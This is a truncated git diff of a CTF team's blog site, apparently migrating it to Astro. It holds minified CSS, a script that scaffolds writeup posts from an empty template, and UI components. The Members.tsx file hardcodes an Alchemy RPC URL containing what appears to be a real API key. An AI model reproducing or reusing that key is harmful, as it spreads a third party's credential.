0;border-radius:6px;color:#fff}.categories-color-web{background-color:#8bbada}.categories-color-pwn{background-color:#e74c3c}.categories-color-crypto{background-color:#219b54}.categories-color-rev{background-color:#19703d}.categories-color-misc{background-color:#d6d318}.categories-color-forensic{background-color:#f39c12}.categories-color-osint{background-color:#8e44ad}.categories-color-block{background-color:#8f22ce}.categories-color-netw{background-color:#16384e}.nftImage{width:200%;height:auto;border-radius:12px}.spinner{border:4px solid rgba(0,0,0,.1);border-radius:50%;border-top:4px solid #d4b783;width:40px;height:40px;animation:spin 1s linear infinite;margin:auto}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}article{line-height:1.7;width:100%}article>*:first-child{margin-top:0}article>*:last-child{margin-bottom:0}article hr{margin-top:2rem;margin-bottom:2rem}article p{overflow-wrap:break-word}article li{list-style-type:disc;margin-top:.5rem;margin-bottom:.5rem}article li p{margin-top:0;margin-bottom:0}article ul,article ol{margin-top:1rem;margin-bottom:1rem;padding-left:1.3rem}article ol li{list-style-type:decimal}article ul,article ol{margin-top:.5rem;margin-bottom:.5rem}article ul li:first-child,article ol li:first-child{margin-top:0}article ul li:last-child,article ol li:last-child{margin-bottom:0}article blockquote{padding-left:1rem;padding-right:1rem;margin-top:1rem;margin-bottom:1rem;margin-left:0;margin-right:0;border-left:2px solid var(--color-border)}article blockquote p:first-child{margin-top:0}article blockquote p:last-child{margin-bottom:0}article blockquote blockquote{margin-top:0;margin-bottom:0}article code{border-radius:.25rem;padding:.2rem .375rem;background-color:var(--color-background-inline-code)}article pre{margin-top:1rem;margin-bottom:1rem;padding:1rem;overflow-x:auto;border-radius:.5rem;background-color:#272822;color:#f7f7f7}article pre code{display:inherit;border-radius:0;padding:0;background-color:transparent}article pre.mc-prism.hide code{opacity:0}article pre.mc-prism code{opacity:1;transition:opacity .1s ease-in}article .code-toolbar .toolbar-item{margin-left:.25rem;margin-right:.25rem}article .highlight{margin-top:1rem;margin-bottom:1rem;position:relative}article .highlight .code-toolbar{padding:0}article .highlight .code-toolbar pre{padding:1rem;border-radius:.375rem}article .highlight>div,article .highlight>pre{padding:.75rem;border-radius:.375rem;overflow-x:auto}article .highlight>div pre,article .highlight>pre pre{padding:0;margin:0;border-radius:0}article .highlight>div pre code,article .highlight>pre pre code{border-radius:0;padding:0;background-color:transparent}article .copy-code-button{font-size:.75rem;line-height:1rem;position:absolute;right:0;height:1.5rem;top:-1.5rem;padding-left:.375rem;padding-right:.375rem;border-radius:.25rem;cursor:pointer;background-color:transparent;display:flex;align-items:center}article .copy-code-button:hover{background-color:var(--color-background-hover)}article table.mc-table{margin-top:1rem;margin-bottom:1rem;table-layout:auto;border-collapse:collapse;display:block;overflow-x:auto}article table.mc-table td,article table.mc-table th{padding-left:.75rem;padding-right:.75rem;padding-top:.5rem;padding-bottom:.5rem;border:1px solid var(--color-border)}article figure{margin-top:1rem;margin-bottom:1rem;text-align:center}article figure figcaption{margin-top:.5rem;margin-bottom:.5rem}article img{margin-left:auto;margin-right:auto;display:block}article .header-anchor-link{display:none;color:var(--color-text)}article .header-anchor-wrapper:hover .header-anchor-link{display:inline}html[data-theme=dark] .twitter-tweet{color:var(--color-text)}html[data-theme=dark] .twitter-tweet a{color:var(--color-link)}.bookcase-layout{display:grid;gap:1rem;grid-template-columns:repeat(auto-fill,8rem)}.bookcase-layout .bookcase-item figure{position:relative;margin:0}.bookcase-layout .bookcase-item figcaption{font-size:.875rem;line-height:1.25rem;text-align:center;margin-top:.7rem}.bookcase-layout .bookcase-item figcaption a{color:var(--color-text)}.bookcase-layout .bookcase-item img,.bookcase-layout .bookcase-item .bookcase-item-overlay{width:8rem;height:12rem;border-radius:.375rem;object-fit:cover}.bookcase-layout .bookcase-item .bookcase-item-overlay{position:absolute;top:0;left:0;background-color:transparent;opacity:.25}.bookcase-layout .bookcase-item .bookcase-item-overlay:hover{background-color:var(--color-background-overlay)}html[data-theme=light] .bookcase-item-img-dark{display:none}html[data-theme=light] .bookcase-item img,html[data-theme=light] .bookcase-item .bookcase-item-overlay{box-shadow:0 0 10px -1px rgba(0,0,0,.1)}html[data-theme=dark] .bookcase-item-img-light{display:none}html[data-theme=dark] .bookcase-item img,html[data-theme=dark] .bookcase-item .bookcase-item-overlay{box-shadow:0 0 3px rgba(135,135,135,.2)}@media screen and (min-width:48rem){.gallery-layout figure{margin-left:-1.25rem;margin-right:-1.25rem}}.gallery-layout figure img{margin-left:auto;margin-right:auto;display:block}.gallery-layout figcaption{margin-top:.5rem;margin-bottom:.5rem;font-size:.75rem;line-height:1rem;font-style:italic;text-align:center}.gallery-layout .gallery-item{margin-bottom:4rem}.gallery-layout .gallery-item-title{margin:1rem 0}.gallery-layout .gallery-item-title a{color:var(--color-text);border-bottom:2px solid var(--color-border)}.gallery-layout .gallery-item-title a:hover{border-bottom-color:var(--color-text-secondary)}.gallery-layout .gallery-item-title span{font-size:1.5rem;line-height:2rem;font-weight:700}.gallery-layout .gallery-item-content{margin-top:1rem;margin-bottom:1rem}.gallery-layout .gallery-item-statistic{display:grid;gap:.5rem;grid-template-columns:max-content 1fr}.balloon-layout .balloon-card-item,.balloon-layout .balloon-title-item,.balloon-layout .balloon-head-item{display:flex;flex-direction:column}@media screen and (min-width:48rem){.balloon-layout .balloon-card-item,.balloon-layout .balloon-title-item,.balloon-layout .balloon-head-item{flex-direction:row}}.balloon-layout .balloon-card-item .balloon-card-item-line,.balloon-layout .balloon-title-item .balloon-title-item-line,.balloon-layout .balloon-head-item .balloon-head-item-desktop{width:7rem;display:flex;flex-direction:column;position:relative;align-items:center}@media screen and (max-width:48rem){.balloon-layout .balloon-card-item .balloon-card-item-line,.balloon-layout .balloon-title-item .balloon-title-item-line,.balloon-layout .balloon-head-item .balloon-head-item-desktop{display:none}}.balloon-layout .balloon-card-item .balloon-card-item-content,.balloon-layout .balloon-title-item .balloon-title-item-content,.balloon-layout .balloon-head-item .balloon-head-item-content{display:flex;flex:1;margin-left:-12px}@media screen and (max-width:48rem){.balloon-layout .balloon-card-item .balloon-card-item-content,.balloon-layout .balloon-title-item .balloon-title-item-content,.balloon-layout .balloon-head-item .balloon-head-item-content{margin-left:0}}@media screen and (min-width:48rem){.balloon-layout{margin-left:-1.75rem}}.balloon-layout .balloon-head-item{width:100%;gap:20px}.balloon-layout .balloon-head-item .balloon-head-item-mobile{width:100%;justify-content:center}@media screen and (min-width:48rem){.balloon-layout .balloon-head-item .balloon-head-item-mobile{display:none}}.balloon-layout .balloon-head-item .balloon-head-item-img-light,.balloon-layout .balloon-head-item .balloon-head-item-img-dark{display:flex;justify-content:center}.balloon-layout .balloon-head-item .balloon-head-item-img img{width:6rem;height:6rem}.balloon-layout .balloon-head-item .balloon-head-item-img .rounded{border-radius:9999px}.balloon-layout .balloon-head-item .balloon-head-item-content{margin:0;align-items:center}@media screen and (max-width:48rem){.balloon-layout .balloon-head-item .balloon-head-item-content{justify-content:center;text-align:center}}@media screen and (max-width:48rem){.balloon-layout .balloon-title-item .balloon-title-item-content{justify-content:center;text-align:center}}.balloon-layout .balloon-card-item .balloon-card-item-content{font-size:.875rem;line-height:1.25rem;overflow:auto;border-radius:.375rem;box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%);background-color:var(--color-background-card);padding:1rem 1.2rem}.balloon-layout .balloon-dot{width:.8rem;height:.8rem;border-radius:1rem;margin:.25rem 0;border:2px solid var(--color-text)}.balloon-layout .balloon-line-container{display:flex;flex:1;justify-content:center}.balloon-layout .balloon-line-container .balloon-line{background-color:var(--color-text)}html[data-theme=dark] .balloon-head-item .balloon-head-item-img-light{display:none}html[data-theme=light] .balloon-head-item .balloon-head-item-img-dark{display:none}ul.list-layout{list-style:none;padding:0}ul.list-layout li{margin-bottom:.5rem;line-height:1.625;display:list-item;list-style-type:none}ul.list-layout li a{color:var(--color-text);border-bottom:2px solid var(--color-border);line-height:1.7rem}ul.list-layout li a:hover{border-bottom-color:var(--color-text-secondary)}ul.list-layout li span{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary)}.postcard-layout a{color:var(--color-text)}.postcard-layout .postcard-item{padding:1rem;background-color:var(--color-background-card);border-radius:.375rem;margin:2rem 0;box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%)}.postcard-layout .postcard-item:hover{background-color:var(--color-background-hover)}.postcard-layout .postcard-item .postcard-title{font-size:1.25rem;line-height:1.75rem;font-weight:500}.postcard-layout .postcard-item .postcard-summary{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;margin:.5rem 0}.postcard-layout .postcard-item .postcard-metadata{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary)}.term-title{display:flex;align-items:center;gap:8px;margin:2rem 0}.term-title h1{margin:0}html[data-theme=dark] #dark_mode_btn{display:none}html[data-theme=light] #light_mode_btn{display:none}header{display:flex;justify-content:space-between;align-items:center;margin:1rem 0}header #header_left{display:flex;justify-content:space-between;align-items:center}header #header_left .brand{display:flex;align-items:center}header #header_left .brand a{font-size:1.5rem;line-height:2rem;font-weight:700;color:var(--color-text)}header #header_left #sidebar_btn{margin-right:.5rem}header #header_left #sidebar_btn #sidebar_btn_label{display:flex}@media screen and (min-width:48rem){header #header_left #sidebar_btn{display:none}}header .toolbox{display:flex;align-items:center;column-gap:.5rem}header .toolbox .toolbox-btn{display:flex;cursor:pointer}header .toolbox .toolbox-btn:hover{color:var(--color-text-secondary)}header .toolbox .dropdown-wrapper .dropdown-btn.pure-menu-link{color:unset}header .toolbox .dropdown-wrapper .dropdown-btn{display:flex;align-items:center;padding:0}header .toolbox .dropdown-wrapper .dropdown-btn:hover{background-color:unset}header .toolbox .dropdown-wrapper .dropdown-btn::after{content:"";padding:0}header .toolbox .dropdown-wrapper .dropdown-btn .dropdown-desc{font-size:.875rem;line-height:1.25rem;margin-left:.35rem}header .toolbox #translation_tool .dropdown-btn .dropdown-desc{display:none}@media screen and (min-width:48rem){header .toolbox #translation_tool .dropdown-btn .dropdown-desc{display:block}}header .toolbox #translation_tool .pure-menu-children{left:auto;right:0}footer{margin-top:1rem;margin-bottom:1rem;font-size:.75rem;line-height:1rem;text-align:center;color:var(--color-text-footer)}/*!Pure v2.1.0 -Copyright 2013 Yahoo! -Licensed under the BSD License. -https://github.com/pure-css/pure/blob/master/LICENSE*/.pure-menu{-webkit-box-sizing:border-box;box-sizing:border-box}.pure-menu-fixed{position:fixed;left:0;top:0;z-index:3}.pure-menu-list,.pure-menu-item{position:relative}.pure-menu-list{list-style:none;margin:0;padding:0}.pure-menu-item{padding:0;margin:0;height:100%;font-size:.875rem;line-height:1.25rem}.pure-menu-link,.pure-menu-heading{display:block;text-decoration:none;white-space:nowrap}.pure-menu-horizontal{width:100%;white-space:nowrap}.pure-menu-horizontal .pure-menu-list{display:inline-block}.pure-menu-horizontal .pure-menu-item,.pure-menu-horizontal .pure-menu-heading,.pure-menu-horizontal .pure-menu-separator{display:inline-block;vertical-align:middle}.pure-menu-item .pure-menu-item{display:block}.pure-menu-children{display:none;position:absolute;left:100%;top:0;margin:0;padding:0;z-index:3;box-shadow:0 20px 25px -5px rgba(0,0,0,.1),0 10px 10px -5px rgba(0,0,0,4%)}.pure-menu-horizontal .pure-menu-children{left:0;top:auto;width:inherit}.pure-menu-allow-hover:hover>.pure-menu-children,.pure-menu-active>.pure-menu-children{display:block;position:absolute}.pure-menu-has-children>.pure-menu-link:after{padding-left:.35rem;font-family:sans-serif;content:"▸"}.pure-menu-horizontal .pure-menu-has-children>.pure-menu-link:after{font-family:sans-serif;content:"▾"}.pure-menu-scrollable{overflow-y:scroll;overflow-x:hidden}.pure-menu-scrollable .pure-menu-list{display:block}.pure-menu-horizontal.pure-menu-scrollable{white-space:nowrap;overflow-y:hidden;overflow-x:auto;padding:.5em 0}.pure-menu-horizontal.pure-menu-scrollable .pure-menu-list{display:inline-block}.pure-menu-separator{background-color:#ccc;height:1px;margin:.3em 0}.pure-menu-horizontal .pure-menu-children .pure-menu-separator{background-color:#ccc;height:1px;margin:.3em 0}.pure-menu-horizontal .pure-menu-separator{width:1px;height:1.3em;margin:0 .3em}.pure-menu-horizontal .pure-menu-children .pure-menu-separator{display:block;width:auto}.pure-menu-heading{text-transform:uppercase;color:var(--color-text)}.pure-menu-link{color:var(--color-text);font-size:.875rem;line-height:1.25rem}.pure-menu-children{background-color:var(--color-background)}.pure-menu-link,.pure-menu-heading{padding:.5rem}.pure-menu-disabled{opacity:.5}.pure-menu-disabled .pure-menu-link:hover{background-color:transparent;cursor:default}.pure-menu-active>.pure-menu-link{background-color:var(--color-background-hover)}.pure-menu-link:hover,.pure-menu-link:focus{background-color:var(--color-background-hover)}.pure-menu-selected>.pure-menu-link{color:var(--color-navbar-item-active)}.pure-menu-selected>.pure-menu-link:visited{color:var(--color-navbar-item-active)}#navbar{margin:1rem 0}@media screen and (max-width:48rem){#navbar{display:none}}#navbar>ul.pure-menu-list{display:flex}#navbar>ul.pure-menu-list .navbar-dropdown>a.pure-menu-link:after{content:"▾"}#navbar>ul.pure-menu-list .navbar-dropdown>ul.pure-menu-children{left:0;top:27px;width:inherit}#navbar>ul.pure-menu-list .navbar-item{margin:0 .5rem 0 0;border-bottom:2px solid transparent}#navbar>ul.pure-menu-list .navbar-item>a.pure-menu-link{font-weight:500;padding:0 0 .3rem;color:var(--color-navbar-item-inactive)}#navbar>ul.pure-menu-list .navbar-item>a.pure-menu-link:hover{background-color:transparent}#navbar>ul.pure-menu-list .navbar-item:hover{border-bottom-color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item:hover>a{color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item.active{border-bottom-color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item.active>a{color:var(--color-navbar-item-active)}#navbar>ul.pure-menu-list .navbar-item.insection{border-bottom-color:var(--color-navbar-item-in-section)}#navbar>ul.pure-menu-list .navbar-item.insection>a{color:var(--color-navbar-item-in-section)}#TableOfContents{line-height:1.5rem}#TableOfContents ul,#TableOfContents li{list-style:none;padding-left:0;margin:0}#TableOfContents ul ul{margin-left:.5rem}#TableOfContents li{margin-top:.375rem}#TableOfContents a{color:var(--color-text)}article#collapsible_menu_changelogs{line-height:1.75rem;display:grid;gap:.5rem;grid-template-columns:max-content 1fr;margin-top:.5rem}.collapsible-menu-wrapper{margin-top:2rem;margin-bottom:2rem;font-size:.875rem;padding:1rem;border:2px solid var(--color-border-collapsible-menu);border-radius:.25rem}.collapsible-menu-wrapper .collapsible-menu-type span{font-weight:700;line-height:1.5rem}.collapsible-menu-wrapper summary.collapsible-menu-type span{margin-left:.3rem}.collapsible-menu-wrapper .collapsible-menu{margin-left:.5rem}.emgithub-container{margin-top:1.5rem;margin-bottom:1.5rem}.emgithub-container .emgithub-code{display:flex;flex-direction:column;justify-content:center}.emgithub-container .emgithub-code .emgithub-loading{margin-left:auto;margin-right:auto;margin-top:1rem;margin-bottom:1rem;z-index:10;position:absolute;left:0;right:0;width:2rem}.emgithub-container .emgithub-code .emgithub-loading.hide{display:none}.emgithub-container .emgithub-code .emgithub-loading svg{width:2rem;height:2rem;animation:spin 1s linear infinite;color:#fff;fill:#969696}@keyframes spin{from{transform:rotate(0)}to{transform:rotate(360deg)}}.emgithub-container .emgithub-code .emgithub-pre{margin-top:0;margin-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.emgithub-container .emgithub-code .emgithub-pre.loading{min-height:5rem}.emgithub-container .emgithub-code .emgithub-pre code{tab-size:inherit}.emgithub-container .emgithub-toolbar{font-size:.75rem;line-height:1rem;display:flex;flex-direction:row;justify-content:space-between;padding:.75rem .75rem .625rem;border-bottom-right-radius:.375rem;border-bottom-left-radius:.375rem;background-color:#171717}.emgithub-container .emgithub-toolbar a{font-weight:600;color:#fff;border:0}.term-item{color:var(--color-text);border-bottom:2px solid var(--color-border);margin-right:.375rem;text-wrap:nowrap}.term-item:hover{border-bottom-color:var(--color-text-secondary)}.icon{display:inline-block;width:1.5rem;height:1.5rem}.icon a{color:var(--color-text)}.icon a:hover{color:var(--color-text-secondary)}.breadcrumbs{font-weight:700;list-style-type:none;padding:0;margin:0}.breadcrumbs a{color:var(--color-text);border-bottom:2px solid transparent}.breadcrumbs a:hover{border-bottom-color:var(--color-text-secondary)}.breadcrumbs li{display:inline;margin-right:.25rem}.color-block{border-radius:.25rem;padding:.75rem}.icon-group{margin-top:1rem;margin-bottom:1rem;display:inline-grid;grid-auto-flow:column;gap:.375rem}#search_menu_wrapper{display:flex;justify-content:center;position:fixed;top:0;left:0;width:100%;height:100%;z-index:40;background-color:rgba(0,0,0,.75)}#search_menu_wrapper #search_menu{position:fixed;display:flex;flex-direction:column;width:100%;height:100%;border-radius:0;background-color:var(--color-background)}@media screen and (min-width:35.5rem){#search_menu_wrapper #search_menu{height:auto;top:6rem;bottom:6rem;width:30rem;z-index:50;border-radius:.375rem}}#search_menu_wrapper #search_menu #search_menu_toolbar{display:flex;min-height:2.5rem;box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%)}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper{display:flex;flex-grow:1}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input{padding-left:1rem;padding-right:1rem;flex-grow:1;border-top-left-radius:.375rem}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input:focus{outline:2px solid transparent;outline-offset:2px}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn{display:flex;align-items:center;justify-content:center;width:2.5rem;border-top-right-radius:.375rem;cursor:pointer}#search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn:hover{background-color:var(--color-background-overlay)}#search_menu_wrapper #search_menu #search_menu_results{flex-grow:1;overflow-y:auto}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item{padding-left:1rem;padding-right:1rem;padding-top:.875rem;padding-bottom:.875rem;min-height:2.5rem}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item:hover{background-color:var(--color-background-overlay)}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-title{font-weight:700;line-height:1.7rem;color:var(--color-text)}#search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-content{font-size:.75rem;line-height:1rem;color:var(--color-text-secondary)}#sidebar_btn_input:checked~#sidebar_canvas_overlay_wrapper #sidebar_canvas_overlay{display:block}#sidebar_canvas_overlay{background-color:rgba(0,0,0,.75);position:fixed;top:0;left:0;width:100%;height:100%;z-index:10;display:none}#sidebar{position:fixed;top:0;left:0;height:100%;z-index:20;background-color:var(--color-background);box-shadow:0 4px 6px -1px rgba(0,0,0,.1),0 2px 4px -1px rgba(0,0,0,6%);transition:transform .2s;transform:translateX(-100%);overflow-y:auto;width:60%}@media screen and (min-width:35.5rem){#sidebar{width:40%}}#sidebar ul{list-style:none;padding-left:0;margin:0}#sidebar li{margin:1.2rem}#sidebar a{color:var(--color-text)}#sidebar_btn_input:checked~#sidebar{display:block;transform:translateX(0)}.pagination{padding:0;margin:0;list-style:none}.pagination li{display:inline;margin:0 .1rem}.pagination a,.pagination span{color:var(--color-text-secondary)}.pagination li.active a{font-weight:600;color:var(--color-text)}.pagination li:not(.disabled) a:hover{color:var(--color-text)}.pagination li:not(.disabled) a:hover span{color:inherit}.pagination .disabled{cursor:not-allowed}.postcard-layout .pagination{text-align:center}/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/resources/_gen/assets/scss/core.scss_ee68883998b31f131947639d79f7b4b2.json b/resources/_gen/assets/scss/core.scss_ee68883998b31f131947639d79f7b4b2.json deleted file mode 100644 index c62fd4a5..00000000 --- a/resources/_gen/assets/scss/core.scss_ee68883998b31f131947639d79f7b4b2.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"style.min.d49422559632b24371de4a8755404bf6f95cb766f45dd1435cda6c8f84087db4fd44836abc0ee00d6d5bce85c1057aef41831eb51d7ef5558a968b277bf5cf1f.css","MediaType":"text/css","Data":{"Integrity":"sha512-1JQiVZYyskNx3kqHVUBL9vlct2b0XdFDXNpsj4QIfbT9RINqvA7gDW1bzoXBBXrvQYMetR1+9VWKlosne/XPHw=="}} \ No newline at end of file diff --git a/scripts/new-post.js b/scripts/new-post.js new file mode 100644 index 00000000..27ced2b1 --- /dev/null +++ b/scripts/new-post.js @@ -0,0 +1,141 @@ +/* This is a script to create a new post markdown file with front-matter */ + +import fs from "fs" +import path from "path" +import readline from "readline" + +const writeupTemplate = ` + +## Introduction + +... + +## Source + +... + +\`\`\`python +# filename: main.py + + + +\`\`\` + +... + +## Solution + +... + +\`\`\`python +# filename: exploit.py + + + +\`\`\` + +flag: :spoiler[flag{ redacted }] +` + + +function getDate() { + const today = new Date() + const year = today.getFullYear() + const month = String(today.getMonth() + 1).padStart(2, "0") + const day = String(today.getDate()).padStart(2, "0") + + return `${year}-${month}-${day}` +} + +const args = process.argv.slice(2) + +if (args.length === 0) { + console.error(`Error: No filename argument provided +Usage: npm run new-post -- `) + process.exit(1) // Terminate the script and return error code 1 +} + +let fileName = args[0] + +// Add .md extension if not present +const fileExtensionRegex = /\.(md|mdx)$/i +if (!fileExtensionRegex.test(fileName)) { + fileName += ".md" +} + +const targetDir = "./src/content/posts/" +const fullPath = path.join(targetDir, fileName) + +if (fs.existsSync(fullPath)) { + console.error(`Error: File ${fullPath} already exists `) + process.exit(1) +} + +// recursive mode creates multi-level directories +const dirPath = path.dirname(fullPath) +if (!fs.existsSync(dirPath)) { + fs.mkdirSync(dirPath, { recursive: true }) +} + +const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout +}) + +function ask(question) { + return new Promise(resolve => { + rl.question(question, resolve) + }) +} + +async function main() { + let categoryDefault = '' + const templateChoice = await ask("Choose template:\n1. Writeup Post\n2. Generic\n") + if (templateChoice === '1') { + categoryDefault = 'writeup' + } else if (templateChoice === '2') { + categoryDefault = 'blog' + } else { + categoryDefault = '' + } + + const title = await ask(`Title (default: ${args[0]}): `) || args[0] + const description = await ask("Description: ") || "''" + const image = await ask("Image: ") || "''" + const tagsInput = await ask("Tags (comma separated eg: web,crypto,rev): ") || "" + const tags = tagsInput ? tagsInput.split(',').map(t => t.trim()) : [] + const authorsInput = await ask("Authors (comma separated): ") || '' + const authors = authorsInput ? authorsInput.split(',').map(a => a.trim()) : [] + const solves = await ask("Solves (number): ") || '-1' + const points = await ask("Points (number): ") || '-1' + const firstbloodInput = await ask("Firstblood (y/n): ") || "n" + const firstblood = firstbloodInput.toLowerCase().startsWith('y') + const category = await ask(`Category (default: ${args[0]}): `) || args[0] + const draftInput = await ask("Draft (y/n): ") || 'n' + const draft = draftInput.toLowerCase().startsWith('y') + const lang = await ask("Language (default: en): ") || 'en' + + const content = `--- +title: ${title} +published: ${getDate()} +description: ${description} +image: ${image} +tags: ${JSON.stringify(tags)} +authors: ${JSON.stringify(authors)} +${solves !== '-1' ? `solves: ${solves}\n` : ''} +${points !== '-1' ? `points: ${points}\n` : ''} +category: ${category} +firstblood: ${firstblood} +draft: ${draft} +lang: ${lang} +--- +${templateChoice === '1' ? writeupTemplate : ''} +` + + fs.writeFileSync(fullPath, content) + + console.log(`Post ${fullPath} created`) + rl.close() +} + +main() diff --git a/src/assets/images/demo-banner.png b/src/assets/images/demo-banner.png new file mode 100644 index 00000000..f8c03106 Binary files /dev/null and b/src/assets/images/demo-banner.png differ diff --git a/public/logo/logo.png b/src/assets/images/logo.png similarity index 100% rename from public/logo/logo.png rename to src/assets/images/logo.png diff --git a/src/components/ArchivePanel.svelte b/src/components/ArchivePanel.svelte new file mode 100644 index 00000000..b9939276 --- /dev/null +++ b/src/components/ArchivePanel.svelte @@ -0,0 +1,162 @@ + + +
+ {#each groups as group} +
+
+
+ {group.year} +
+
+
+
+
+ {group.posts.length} {i18n(group.posts.length === 1 ? I18nKey.postCount : I18nKey.postsCount)} +
+
+ + {#each group.posts as post} + +
+ +
+ {formatDate(post.data.published)} +
+ + +
+
+
+ + +
+ {post.data.title} +
+ + + +
+
+ {/each} +
+ {/each} +
diff --git a/src/components/ConfigCarrier.astro b/src/components/ConfigCarrier.astro new file mode 100644 index 00000000..68b3dde4 --- /dev/null +++ b/src/components/ConfigCarrier.astro @@ -0,0 +1,7 @@ +--- + +import { siteConfig } from "../config"; +--- + +
+
diff --git a/src/components/Footer.astro b/src/components/Footer.astro new file mode 100644 index 00000000..f348a07f --- /dev/null +++ b/src/components/Footer.astro @@ -0,0 +1,21 @@ +--- + +import { profileConfig } from "../config"; +import { url } from "../utils/url-utils"; + +const currentYear = new Date().getFullYear(); +--- + + +
+ +
+
+ © {currentYear} {profileConfig.name}. All Rights Reserved. / + RSS / + Sitemap
+ Powered by + Astro & + fuwari +
+
diff --git a/src/components/GlobalStyles.astro b/src/components/GlobalStyles.astro new file mode 100644 index 00000000..853d812b --- /dev/null +++ b/src/components/GlobalStyles.astro @@ -0,0 +1,3 @@ +--- + +--- diff --git a/src/components/LightDarkSwitch.svelte b/src/components/LightDarkSwitch.svelte new file mode 100644 index 00000000..c200bd67 --- /dev/null +++ b/src/components/LightDarkSwitch.svelte @@ -0,0 +1,99 @@ + + + + diff --git a/src/components/Members.tsx b/src/components/Members.tsx new file mode 100644 index 00000000..5323d9a8 --- /dev/null +++ b/src/components/Members.tsx @@ -0,0 +1,241 @@ +import { contractAddress, memberCategories, members } from "@utils/team-utils"; +import { Contract, JsonRpcProvider } from "ethers"; +import { useEffect, useState } from "react"; + +type ContractFunctionFragment = { + type: string; + name: string; + inputs: { name: string; type: string; internalType: string }[]; + outputs: { name: string; type: string; internalType: string }[]; + stateMutability: string; +}; + +async function fetchTokenURIs( + contractAddress: string, + abi: ContractFunctionFragment[], + address: string, +) { + const provider = new JsonRpcProvider( + "https://eth-holesky.g.alchemy.com/v2/EBEf6F0QcKepxVRoTYFdUsIj7iHd6NMo", + ); + const contract = new Contract(contractAddress, abi, provider); + try { + const uris = await contract.getTokenUrisForAddress(address); + return uris as string[]; + } catch (error) { + console.error("Error during call tokenURI:", error); + return null; + } +} + +async function loadABI(): Promise { + const abi: ContractFunctionFragment[] = [ + { + type: "function", + name: "getTokenUrisForAddress", + inputs: [{ name: "user", type: "address", internalType: "address" }], + outputs: [{ name: "", type: "string[]", internalType: "string[]" }], + stateMutability: "view", + }, + ]; + return abi; +} + +function parseUriToImage(uris: string[] | null, name: string) { + if (uris && uris.length > 0) { + const lastUri = uris[uris.length - 1]; + const base64String = lastUri.split(",")[1]; + + try { + let decodedImageUri = JSON.parse(atob(base64String)).image as string; + if (name !== "Alessandro Cavaliere") { + decodedImageUri = decodedImageUri.replace("svg+xml", "png"); + } + return decodedImageUri; + } catch (error) { + console.error("Error during of parsing URI:", error); + return null; + } + } + return null; +} + +("use client"); + +import { getAuthorUrl } from "@utils/url-utils"; +import { ExternalLink, Github } from "lucide-react"; +import { Badge } from "./ui/babdge"; + +export type Member = { + name: string; + github: string; + handle: string; + university: string; + categories: string[]; + address: string; + link_etherscan: string; +}; + +interface MemberCardProps { + member: Member; + imageUrl?: string; +} + +export function MemberCard({ member, imageUrl }: MemberCardProps) { + return ( +
+ {/* Header with Image and Basic Info */} +
+
+ {/* Avatar */} + +
+ {member.name} +
+
+ +
+
+ + {/* Name and Handle */} +
+ +

+ {member.name} +

+
+ {/* Role */} +

+ {member.university} +

+ + + @{member.handle} + + +
+
+
+ + {/* Content */} +
+ {/* Categories */} +
+

Categories

+
+ {member.categories.map((category) => { + const bg = memberCategories[category] || "var(--btn-regular-bg)"; + return ( + + {category} + + ); + })} +
+
+ + {/* Etherscan Link */} + {/* + View on Etherscan + + */} +
+ + {/* Decorative gradient overlay */} +
+
+
+
+ ); +} + +export default function MembersGrid() { + const [images, setImages] = useState>({}); + const [isLoading, setIsLoading] = useState(true); + + useEffect(() => { + async function fetchAllImages() { + try { + const abi = await loadABI(); + + const results = await Promise.all( + members.map(async (member) => { + const uris = await fetchTokenURIs( + contractAddress, + abi, + member.address, + ); + const image = parseUriToImage(uris, member.name); + return { + key: member.github, + image: image || "/public/logo.png", + }; + }), + ); + + const imagesMap: Record = {}; + for (const result of results) { + imagesMap[result.key] = result.image; + } + + setImages(imagesMap); + } catch (error) { + console.error("Errore durante il caricamento delle immagini:", error); + } finally { + setIsLoading(false); + } + } + + fetchAllImages(); + }, []); + + if (isLoading) { + return ( +
+
+
+ ); + } + + return ( +
+ {members.map((member) => ( + + ))} +
+ ); +} diff --git a/src/components/Navbar.astro b/src/components/Navbar.astro new file mode 100644 index 00000000..c99478ee --- /dev/null +++ b/src/components/Navbar.astro @@ -0,0 +1,141 @@ +--- +import { Icon } from "astro-icon/components"; +import { navBarConfig, siteConfig } from "../config"; +import { LinkPresets } from "../constants/link-presets"; +import { LinkPreset, type NavBarLink } from "../types/config"; +import { url } from "../utils/url-utils"; +import LightDarkSwitch from "./LightDarkSwitch.svelte"; +import Search from "./Search.svelte"; +import DisplaySettings from "./widget/DisplaySettings.svelte"; +import NavMenuPanel from "./widget/NavMenuPanel.astro"; + +const className = Astro.props.class; + +let links: NavBarLink[] = navBarConfig.links.map( + (item: NavBarLink | LinkPreset): NavBarLink => { + if (typeof item === "number") { + return LinkPresets[item]; + } + return item; + }, +); +--- + + + + +{import.meta.env.PROD && } diff --git a/src/components/PostCard.astro b/src/components/PostCard.astro new file mode 100644 index 00000000..2c049270 --- /dev/null +++ b/src/components/PostCard.astro @@ -0,0 +1,187 @@ +--- +import type { CollectionEntry } from "astro:content"; +import path from "node:path"; +import { 